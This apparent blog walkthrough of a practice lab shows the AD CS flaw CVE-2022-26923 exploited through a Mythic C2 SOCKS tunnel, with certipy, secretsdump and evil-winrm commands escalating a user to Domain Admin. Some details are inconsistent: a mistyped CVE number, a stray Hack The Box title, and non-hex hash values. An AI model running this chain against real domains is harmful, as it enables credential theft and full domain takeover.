ABUSING CVE-2022-26923 THROUGH SOCKS5 ON A MYTHIC C2 AGENT

Haystack - Hack The Box Machine

This blog post was written by Amarjit Labhuram

CVE-2022-29623 Vulnerability Introduction

Vulnerability Type: Elevation of Privilege

Vulnerability Component: Active Directory Certificate Services (AD CS)

An attacker/user that has the ability to create a machine account and tamper with the dNSHostName attribute to mimic any machine on the domain can abuse Active Directory Certificate Services to request for a certificate as that machine that has been mimicked. In essence if an attacker creates a machine account and manipulates the dNSHostName to that of the Domain Controller, when a certificate is requested as that newly created machine account it will receive a certificate with the authorization as the Domain Controller. This can then be used to get sensitive information from the Domain Controller and eventually full Domain Admin access.

Active Directory Certificate Services

As per Microsoft, Active Directory Certificate Service, referred to as AD CS, is an intra-domain authentication service and an implementation of Public Key Infrastructure (PKI), which provides functions such as file encryption, digital signature, and authentication by issuing certificates. AD CS can be used by organisations to enhance security by binding the identity of a person, device, or service to a corresponding private key. AD CS also gives enterprises a cost-effective, efficient, and secure way to manage the distribution and use of certificates.

A Certificate Authority (CA) is responsible for issuing certificates. The information contained in the certificate combines a subject identity with a public/private key pair. The application then uses this key pair as the user’s identity proof when operating.

The general process of the certificate application process:

  1. Client generates key pair.
  2. The client sends a Certificate Request (CSR) to the enterprise CA server.
  3. The CA checks the contents of the CSR to determine whether it is permitted to obtain the certificate.
  4. CA issues a certificate signed with CA’s private key with permission.

https://posts.specterops.io/certified-pre-owned-d95910965cd2

Some other key components to remember are:

    1. PKI: Public Key Infrastructure, which implements functions such as certificate generation, management, storage, distribution and revocation.
    2. PKINIT: Public Key Encryption Technology for Initial Authentication (can be used in the initial stage of Kerberos authentication).

I am not sure why PKINIT is used as an acronym for the Kerberos authentication bit and seems I am not the only one perplexed by this:

Attack Lab

Aleem Ladha created a free lab for the infosec community to test out this vulnerability where we are given access to a user called ted with the password of lab. Lab access details are as follows:

  1. IP Address: 3.141.204.47
  2. WinRM Port: 24348
  3. Domain: lab.global
  4. Username: ted
  5. Password: lab

Information Gathering/Recon/Enumeration

With winrm access I used evil-winrm to connect to the target box and do some enumeration. Knowing that the attack is to exploit AD CS I ran the following commands to get some information about the environment that will be needed in the later part of the attack.

Get-PSDrive cert | ft -AutoSize

Β 

Get-ChildItem Cert:\LocalMachine\Root\

Β 

From the enumeration it is clear to establish the following:

  • Domain Controller: GLOBALDC
  • Domain: lab.global
  • CA Server: LAB-GLOBALDC-CA

Tools needed to abuse the vulberability

  1. certipy
  2. impacket
  3. proxychains
  4. evil-winrm

I had been playing around with Mythic C2 so thought this would be the perfect time to test out the socks feature and route all the traffic back to the attack box and run the other tools through it. I started off by getting a beacon/agent running on the target box from the winrm access provided (You may need to bypass AV or other defense tools that could be on the box which I am not going into details here). Once I have an agent the next thing to do is to start the socks server and give it a port in the range of 7001-7010 as these are the reserved ports as per the Mythic default configuration files.

From the Active Callback dashboard click on the white keyboard next to the agent and interact with it.

Β 

Issue the sleep 0 command to shorten the delay time between each request made from the agent, then task it with the following command:

socks 7005

Once the socks server is running you can click on the SOCKS icon on the top menu to see if the server is up and running.

Β 

Before I can use proxychains I need to modify the configuration files on the attack box to use socks5 on the port specified when opening socks on the Mythic agent.

nano /etc/proxychains4.conf

Β 

With everything setup in terms of the traffic tunnel, I can use proxychains to execute certipy as well as other python-based tools. I issued the following command to query for any CA servers and get the configurations from them.

proxychains certipy find 'lab.global/ted:[email protected]'

Β 

Performing The Attack

The first bit of the attack is to create a machine account that has the dNSHostName principle as that of the Domain Controller. I used certipy to achieve this and created a new machine called LABUPC and set its dNSHostName to GLOBALDC.

proxychains certipy account create 'lab.global/ted:[email protected]' -user 'labupc' -dns 'GLOBALDC.LAB.GLOBAL'

Β 

Next, I request a certificate for the newly created machine account called LABUPC$ and since its dNSHostName value is set to that of the GLOBALDC in essence I should get a certificate that has the authentication corresponding to that of the Domain Controller.

proxychains certipy req 'lab.global/labupc$:[email protected]' -ca LAB-GLOBALDC-CA -template Machine

Β 

With the certificate saved to disk, I can again use certipy to authenticate to the Domain Controller from where I get the NTLM hash for GLOBALDC machine account.

proxychains certipy auth -pfx globaldc.pfx -dc-ip 1.1.2.1

Β 

With the the machine account NTLM hash retrieved, I can leverage secretsdump.py from impacket to dump out all the NTLM hashes for all accounts on the domain.

proxychains secretsdump.py 'lab.global/[email protected]' -hashes :ffgzf868f83lo1w77lf6f52grhspd0b4

Β 

Now that I have the NTLM hash for the Administrator account I can use proxychains and evil-winrm to connect on to the Domain Controller.

proxychains evil-winrm.rb -i 1.1.2.1 -u administrator -H a2jm54htr0v9s0mv36mn2xoop78a0f28

Β 

That concludes the challenge. I have escalated privileges from a regular user (ted) to Domain Admin (Administrator) and accessed the Domain Controller.

Happy Hacking to all!

Β 

References

https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4

https://github.com/ly4k/Certipy

Β 

Disclaimer

The MacroSec blogs are solely for informational and educational purposes. Any actions and or activities related to the material contained within this website are solely your responsibility. The misuse of the information on this website can result in criminal charges brought against the persons in question. The authors and MacroSec will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.